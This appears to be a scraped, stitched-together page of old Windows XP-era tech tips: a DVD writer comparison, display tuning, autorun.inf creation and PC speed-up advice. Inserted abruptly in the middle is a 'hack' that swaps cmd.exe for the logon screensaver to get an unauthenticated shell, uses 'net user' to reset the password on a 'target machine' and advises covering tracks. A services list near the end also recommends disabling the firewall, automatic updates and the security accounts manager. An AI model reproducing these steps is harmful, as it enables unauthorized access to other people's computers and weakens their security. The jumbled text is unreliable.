16x Dvd+-rw Dl Dvd Writer Comparison Guide
Source:
CODE
http://www.extrememhz.com/dlcomp-p1.shtml
Since the introduction of double layer DVD writers, the interest has been quite overwhelming and is why we keep bringing you reviews of these highly popular drives. The anticipation has now turned into down right obsession and it has become a key component in any current or new system build, thanks to the declining prices and continued media hype. Manufacturers are quite aware of the fascination and is why they have each been releasing their own products which excel in at least one area of the testing methodology used in most reviews. This has led to some confusion as to which drive is best suited for the individuals needs. Today, we compare four 16x double layer drives and highlight both the strong and weak points in order to give you a better idea of which drive is best suited for you.
In this comparison guide, we will be looking at four of the top 16x drives to hit the market, the Pioneer DVR-108, NEC ND3500A, Lite-On SOHW-1633s and the new LG GSA-4160B. We will cover everything from design and features to performance and price. Let's begin with a quick look at each of these drives.
As far as the front bezel design goes, the LG-GSA4160B is by far the most attractive drive of the bunch. However, for those who are looking for a headphone jack, the Lite-On drive is the only DL writer offering a headphone jack, as well as volume control. The Pioneer and NEC drives, in my opinion, are the ugliest drives, with a very plain look that just wants to make you hide the drive period. Although we only obtained the 4160B in black, all these drives are offered with both white and black bezels. If you opt for the more expensive Pioneer "XL" model, it has the most impressive looks of any drive in the market. However, this will come at a very hefty price tag, considering they contain different firmware as well that offer a few extra features.
So, we have determined which is the sexiest-looking drive, but what about performance? I've done some extensive testing on each model to determine which is indeed the most impressive of the bunch. But before we show you performance results, let's briefly look at the features and what they have to offer.
Features
Each one of these drives has there disappointments when it comes to features. Let's compare each to see what they really offer.
DVD Writing
DVD+R DVD-R DVD+RW DVD-RW
LG GSA-4160B 16x 8x 4x 4x
Lite-On SOHW-1633s 16x 8x 4x 4x
NEC ND-3500A 16x 16x 4x 4x
Pioneer DVR-108 16x 16x 4x 4x
While all these drives are indeed 16x models, only two will write to both formats at this speed. The LG GSA-4160B and the Lite-On SOHW-1633s only support 8x DVD-R writing. So if you are one who only prefers this format, the NEC or Pioneer would be the best choice. All of these drives support writing to DVD re-writable media at 4x.
DVD+R9 Double Layer Writing
Write Speed
LG GSA-4160B 2.4x
Lite-On SOHW-1633s 2.4x
NEC ND-3500A 4x
Pioneer DVR-108 4x
The major disappointment with both the LG and the Lite-On 16x drives is the lack of 4x double layer writing support. Pioneer and NEC seem to be the only manufacturers to jump in and release second generation double layer drives supporting much faster 4x writing. In fact, the jump from 2.4x to 4x is quite substantial as we will show you a bit later in this comparison.
DVD-RAM Support
Supported Read Write
LG GSA-4160B YES 5x 5x
Lite-On SOHW-1633s NO NO NO
NEC ND-3500A NO NO NO
Pioneer DVR-108 YES 2x NO
Now this is where both the LG GSA-4120B and GSA-4160B shine above the rest. In fact, it is what has made these drives the most popular DVD writers on the market. Unlike the rest in the roundup, it is a triple format burner, offering full support for DVD-RAM media. The other drives do not support it, with the exception of the Pioneer DVR-108 which supports reading of DVD-RAM discs at 2x. I personally don't see the point in offering only read capabilities, but it's at least one extra feature added to distinguish it from the rest. Fast 5x support of the LG GSA-4160 will actually be tested a bit later in this article.
CDR Writing
CDR CDRW
LG GSA-4160B 40x 24x
Lite-On SOHW-1633s 48x 24x
NEC ND-3500A 48x 24x
Pioneer DVR-108 32x 24x
The fastest CDR writers of the bunch are the Lite-On SOHW-1633s and the NEC ND-3500A. With their support for 48x writing, they make a great all-in-one drive for many users. The only drive lacking in this lineup is the Pioneer DVR-108. Why they opted for only 32x writing is still quite puzzling and is actually why I have found that many are choosing the NEC over the Pioneer. The LG GSA-4160B should not be left out of consideration though. We will show you later that the difference in write times between 40x and 48x is not much to brag about.
Bitsetting Support
One feature I've found that is most important for many users is bitsetting support. Let's compare these drives and see what they offer.
DVD+R/RW Support DVD+R DL Support
LG GSA-4160B NO NO
Lite-On SOHW-1633s YES NO
NEC ND-3500A NO YES
Pioneer DVR-108 NO YES
The LG GSA-4160B does not offer bitsetting support out of the box. However, it is very likely that you will be able to obtain support through an excellent third-party tool called DVDInfo Pro. Right now, they only support the GSA-4120B, but I'm confident with the author that support for this drive will be likely. LG firmware is very hard to hack, however some select few have been able to do so. Using Lite-On's booktype utility, you can change the booktype of DVD+R/RW media, however, the firmware does not automatically change booktype of DVD+R DL discs to DVD-ROM like the NEC and Pioneer models do.
Additional Features
As far as other features go, all these drives have a 2MB buffer but offer some sort of buffer under-run protection, which all work exceptionally well. This is especially useful if you will be burning discs at 16x, which I personally don't recommend just yet. As our individual tests of these drives revealed, burning at this speed is quite unstable, with the exception of the Lite-On SOHW-1633s.
This hack will only work if the person that owns the machine
has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the
Administrator Account.
This has worked for me on both Windows XP Home and Pro.
—————————————————————————–
Now this one seems to be machine dependant, it works randomly(don’t know why)
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn’t work
on the welcome screen of a normal booted machine)
—————————————————————————–
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
—————————————————————————–
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
“net user password”
If the Administrator Account is called Frank and you want the password blah enter this
“net user Frank blah”
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Any updates, Errors, Suggestions or just general comments mail them to either
Adjust the settings for your graphics board and display to improve image quality.
When it comes to your PC, looks definitely matter. Tiny text, blurry images, and flickering screens aren’t just annoying, they can lead to eyestrain, lost productivity, and a bill from the glazier for replacing the window you toss your monitor through out of frustration. But you don’t have to give your display the heave-ho: A few simple adjustments to your graphics card and other Windows settings can ensure peak visual performance.
Your PC’s graphics card is controlled by its Windows driver, so get the latest driver release for your board. To see what version you have, right-click the desktop and choose Properties to open the Display Properties dialog box, then click Settings, Advanced, Adapter (in Windows XP, also select Properties, Driver).
Visit your graphics-card vendor’s Web site to download the most recent version of the driver, but don’t install beta drivers. These are works in progress that may cause more trouble than they’re worth.
Sight-Saving Settings
Here are a few settings that should be available for all graphics drivers.
Resolution: This is the number of dots–or pixels (short for “picture elements”)–displayed on your screen. The higher the resolution, the more dots per inch, and the sharper the displayed image (if your monitor supports the higher resolution). High resolutions increase the processing demands on your graphics board and PC.
The graphics cards in most computers made in the last three or four years support resolutions of at least 1024 by 768–meaning the screen image is composed of an orthogonal array 1024 pixels across and 768 pixels tall–and some support screen resolutions as high as 1600 by 1200. However, many older systems, as well as some newer budget systems, have a top resolution of only 800 by 600.
To adjust screen resolution, open Display Properties and click Settings. Slide the ‘Screen area’ or ‘Screen resolution’ bar to a higher (More) or lower (Less) resolution. Though higher resolutions improve image quality, they also shrink icons, text, and other on-screen objects. Experiment to find the setting that’s right for you. For most people, 1024 by 768 is the highest resolution they can read easily on a 17-inch CRT monitor.
Color depth: This setting is the number of colors that your graphics card supports. The more colors available for use, the more realistic the image, but again, the more colors on your screen, the greater the processing demands on your system.
Your graphics card’s color-depth settings are listed in Display Properties under the Settings tab on the Colors drop-down menu (’Color quality’ in Windows XP). Each is named for the number of bits it assigns to each pixel: True Color (also called 24-bit color) makes 16,777,216 colors available, while High Color (16 bits) supports 65,536 colors. At lower than 16-bit color, your images may suffer. Many drivers no longer offer 8-bit (256 colors) or 15-bit (32,536 colors) settings.
New PCs often support 32-bit color, which offers the same 16 million-plus colors as True Color. The extra 8 bits control image opacity. This is useful in fast-moving 3D games but of little help in most business apps.
Refresh rate: Expressed in hertz, or cycles per second, this tells how often the phosphors that glow to create an image on a CRT screen are reenergized–that is, the times per second that the screen’s image is redrawn. A refresh rate that’s too low can cause annoying screen flicker. Even if you don’t see the flicker, slow refreshes can cause eyestrain and headaches.
Conventional wisdom says your refresh rate should be no less than 72 Hz. Some experts say the minimum rate is 80 Hz. Try different refresh rates until you find the one that works for you. Note that if your refresh rate is too high, you could lose image opacity. Still, few of us can discern rates higher than 85 Hz.
To adjust your screen’s refresh rate in Windows XP, open Display Properties and click Settings, Advanced, Adapter, List All Modes. Pick a combination of refresh rate, screen resolution, and color depth from the list of supported values.
To change your refresh rate in other versions of Windows, open Display Properties and then click Settings, Advanced, Adapter. Select an option from the ‘Refresh rate’ drop-down menu. If you see no options there, however, your graphics board and monitor don’t support multiple refresh rates.
Even in that case, you might be able to increase your display’s refresh rate by decreasing your screen resolution or your color depth. All three specs compete for graphics-processing capacity, so if your graphics system is running at its maximum, try increasing one setting and lowering another. For example, reducing color depth from 32-bit to 16-bit–no big deal if you never look at photos–may free up enough processing power to let you bump your refresh rate from an annoying 60 Hz to an eye-pleasing 72 Hz. Or you may be able to increase resolution from 800 by 600 to 1024 by 768. There’s no guarantee, but these tricks might work.
Windows automatically sets your screen refresh rate to a safe but slow 60 Hz when it can’t detect your monitor. To confirm that Windows XP correctly recognizes your monitor, open Display Properties and click Settings, Advanced, Monitor. If your monitor isn’t listed under ‘Monitor type’, download and install the device’s driver from the manufacturer’s Web site.
In other versions of Windows, verify that Plug and Play is enabled. Make sure your monitor is listed under ‘Display’ on the Settings tab in Display Properties, and then click Advanced, Monitor. Verify that Automatically detect Plug & Play monitors is checked. If it isn’t, select it and then reset your refresh rate to a level that is higher than Windows’ default 60 Hz.
DirectX: This Windows component controls multimedia functions. To check your current DirectX version, click Start, Run, type dxdiag, and click OK. Choose the System tab and look under System Information on the lower part of the screen. DirectX 9 is the latest version; if you don’t have it, download it from Microsoft.
Touch Those Dials!
You can improve the image quality of your monitor via its built-in controls. The options vary by display manufacturer and model, but you should find brightness and other controls on most monitors.
Adjust brightness and contrast: Use this gray-scale image on your screen. Be sure you can see as many of the image’s 17 shades as possible; the two or three darkest may be tough to view in a bright room.
Center and align: Few monitors come straight from the factory with optimal screen geometry. Use your monitor’s screen-placement controls to center your displayed image, keep its edges straight, and minimize unfilled screen space.
To avoid eyestrain and other physical problems, put the top of the screen at eye level and at arm’s length from your head (your best position may vary). Orient your screen to avoid glare from lights and windows. If that’s not possible, get a glare filter such as Kensington’s $34 GlareMaster.
Clean it: Gently wipe your screen with a soft, lightly moistened cloth. Unless the monitor is really filthy, avoid cleaning solutions, which can damage delicate screen coatings. Clean the dust from the cooling vents in the monitor’s case; overheating is your display’s lethal enemy.
Graphics Triage
If your screen goes blank, the problem is likely due to a disconnected monitor cable, an unplugged power cord, or a too-low brightness setting. Monitors do die, however. If you smell something burning or hear popping sounds, your monitor could be failing–turn it off immediately. Monitors have been known to spontaneously combust.
Corrupted graphics drivers cause all kinds of PC problems. To check for a damaged graphics driver, install the plain-vanilla VGA driver that comes with Windows. If your troubles disappear, reinstall a clean copy of the monitor’s original driver, or an updated version.
Some graphics boards don’t work or play well with other hardware devices. Windows allows you to disable graphics-acceleration functions for the sake of compatibility. Open Display Properties and click Settings, Advanced, Troubleshooting in Windows XP and 2000, or Settings, Advanced, Performance in Windows 98 and Me. Move the slider under ‘Hardware acceleration’ to the left to disable your graphics acceleration.
A shaking or shimmering image on your screen may be due to nearby magnetic fields. Keep clocks and other appliances that use electric motors, and those that use a lot of electricity (such as microwave ovens), far from your monitor. Power lines behind walls can cause interference, so try moving the display away from nearby walls.
If your screen image is washed in blue, red, or green, check for a loose cable connecting your graphics board to your monitor. Look for bent pins inside the cable connector; you can often straighten them with needle-nose pliers. If on-screen objects have a rainbow cast, some monitors have convergence controls that you can use to tune the image.
Living in a Flat World
Notebook displays are fine-tuned in the factory to work with the system’s other hardware; your desktop’s flat panel likely isn’t. And tuning an LCD isn’t the same as tuning a CRT monitor. If both your LCD and graphics board support Digital Visual Interface connections, make sure they’re using them. Vendors don’t always ship a DVI cable with cards that produce both analog and digital signals, so you’ll have to replace the analog cable. If your display supports DVI but your graphics card doesn’t, upgrade your card.
Make sure your LCD is set to its native resolution. Many flat-panel displays don’t look good at other resolutions. Unfortunately, some 15-inch LCDs have a native resolution of 1024 by 768 dpi, which makes text minuscule. The solution is to open Display Properties, click Appearance, and change the setting on the ‘Font size’ drop-down menu to increase the size of your text. (Most browsers include their own font-size settings.)
In Windows XP, open Display Properties, click Appearance, Effects, and check Use the following method to smooth screen fonts. Select ClearType to see a big improvement in the appearance of many of your fonts.
If you wanna make a autorun file for that CD you are ready to burn just read this…
1) You open notepad
2) now you writ: [autorun]
OPEN=INSTALL\Setup_filename.EXE
ICON=INSTALL\Setup_filename.EXE
Now save it but not as a .txt file but as a .inf file.
But remember! The “Setup_filename.EXE” MUST be replaced with the name of the setup file. And you also need to rember that it is not all of the setup files there are called ‘.exe but some are called ‘.msi
3) Now burn your CD with the autorun .inf file included.
4) Now set the CD in you CD drive and wait for the autorun to begin or if nothing happens just double-click on the CD drive in “This Computer”
1. First, run a scandisk or checkdisk. Let Windows fix any errors.
2. Run a disk cleanup utility…this will flush your temporary internet folder, trash can, temp system files, etc.
3. Delete any garbage files or data…if possible, run a Duplicate File Finder program.
4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash and excess files!)
5. Run a registry cleaner utility and delete or get rid of any orphaned entries in that registry.
6. Check your exisiting swap file for it’s size and location (*will explain location later in the post). If you have alot of ram (i.e. 1 gig and over) set this swap file to something small, like 250 mb. The reason is that this will force Windows to load more into memory, resulting in faster performance (note: some games and applications actually require a certain sized swap file so check your applications performance after making a size adjustment for any error messages.)
7. Under XP, you can tell Windows to use Classic Style on your desktop, - this will remove the neat single click and internet-style desktop but for lower end systems this will improve performance in other areas, such as gaming and multi-tasking.
8. Run msconfig and under startup and only keep the programs that are essential to load in the tray icon (and hence stay resident in memory). Uncheck anything else non-essential, like an ATI or Nvidia control panel, Quicktime utility, Real Audio, etc.
9. Upgrade drivers! Check for the latest BIOS, video, motherboard, sound, etc drivers from the manufacturers. Alot of my friends had chipsets on their motherboard that had advanced disk management capabilities or AGP port settings but the drivers weren’t loaded for them so they were never being used. A simple upgrade realized a noticeable difference. For instance, they didn’t have the latest driver for their AGP port so it was set to 1x, instead of being used at 4x!
10. (OK, so this won’t speed up your PC but it could save you alot of time and trouble later on!) After making all these improvements, make a working backup! I use Ghost, but for XP users you can also use System Restore…
-FOR ADVANCED USERS-
1. Take a look under the hood (for IDE owners). How are your IDE devices configured? If you have more than 1 hard drive, put the master hard drive on the primary IDE channel and the secondary hard drive on the secondary IDE channel (most motherboards have two IDE channels).
2. Place all CDROM drives, DVD readers etc. on the secondary IDE channel (or SCSI bus, etc). This will reduce I/O contention with your master hard drive which should have your OS and apps installed…
3. Remember when I mentioned the location of the swap file? OK, if you have 2 hard drives and you have one on the primary IDE channel and the other on the secondary IDE channel, move the swap file to a partition ON THE SECOND hard drive (on the secondary IDE channel). This will greatly improve system performance as the PC can write to the swap file while loading and running OS and system commands without I/O contention on the primary IDE channel!
4. Take a look under the hood (for SCSI owners) What kind of SCSI do you have? If it’s the newer Ultra 160/320 etc cards then guess what? Any devices placed on the same bus will automatically default to the slowest drive on the chain…this means that if you have say, an Ultra 160 SCSI card, and it has an Ultra 160 drive (capable of transferring 160 mb/sec) on the same chain as a SCSI cdrom drive (capable of only 40 mb/sec) then the whole bus slows down to the 40 mb/sec speed…use different chains for the slower devices and maximize those hard drives!
5. Run a utility like WCPUID and check the settings…is your CPU/front speed bus/AGP port running as fast as they should be? If not, check your drivers and BIOS configuration options. Also, are all of your chipset features enabled? If not, then enable them! (usually done in your BIOS!)
6. Dig in to the BIOS…check settings like boot order, for example…is it checking the floppy first? Change this! Select your order to reflect the hard drive first, then CD, then floppy for a noticeable boot time improvement. Also disable any non-used on board peripherals…for instance, - does your motherboard come with an on-board NIC card? Guess what, if you don’t use that NIC card and it is enabled it will eat up valuable CPU cycles and can be detrimental to your systems’ performance. DISABLE THAT MUTHA! Also, see if you can play with memory timing and CPU clock frequencies (NOTE! This is for expert users only!) Set these timings to “Aggressive” and see what happens in your games and apps…Also, check to see what your video aperature is set to. If you have a video card with 128 megs of on-baord memory, your aperature should be set to this amount too. Read the BIOS owner manual for further non-general performance tricks or improvements! Do you have the latest BIOS firmware version?
7. Under hardware properties, check to see that everything is working properly, and fix any hardware contention issues. You’ll see the dreaded yellow exclamation point (!) beside any hardware componenet that is not working correctly.
8. Evaluate the potential for system/hardware upgrades…usually, the best bang for the buck is adding memory so buy all that you can afford (don’t go much above 512 megs for Win 98 or ME). If you have a motherboard with an 8x - capable AGP port but you are using an older 4x video card, consider upgrading to an 8x card. You get the idea here…
9. Quit using software pigs like Norton system utilities, etc. These place files everywhere and can be a real system resource hog on lower end PCs.
10. Did I mention to make a good backup? Do it now! Also, while you’re at it, run a good virus program with the latest definitions.
There are more options to make your system faster, such as overclocking, etc. but (just about) everything I’ve mentioned in this tech post costs you nothing and will result in faster system performance! Good luck and if you have any questions on how to do anything mentioned here, ask a knowledgeable friend or consult a book, - don’t mess up something trying to do something you are not sure of!
here is a list of services that can be turned off
this will speed up your pc a bit
right click my computer
manage
services and applications
services
set these to disabled you will need to reboot for them to take effect if you have a problem with any just reenable them again ie if you have a smart card and you disable it wont work
alerter
application layer gateway service
application management
ati hotkey poller
automatic updates
background intelligent transfer service
clipbook
com+ event system
com+ system application
distributed transaction coordinator
error reporting service
fast user switching compatibility
help and support
human interface device access
imapi cd burning com service
indexing service
internet connection firewall(icf)/internet connecton sharing(ics)
ipsec services
logical disk manager
logical disk manager administrative service
messenger
ms software shadow copy provider
net logon
netmeeting remote desktop sharing
network dde
network dde dsdm
nt lm securtiy support provider
performance logs and alerts
portable media serial number service
qos rsvp
remote desktop help sesson manager
remote registry
removable storage
secondary logon
security accounts manager
server
smart card
smart card helper
ssdp discovery service
system restore service
task scheduler
tcp/ip netbios helper
telnet
terminal services
uninterruptible power supply
universal plug and play device host
upload manager
video proes
volume shadow copy
webclient
windows time
wireless zone configuration
wmi performance adapter
workstation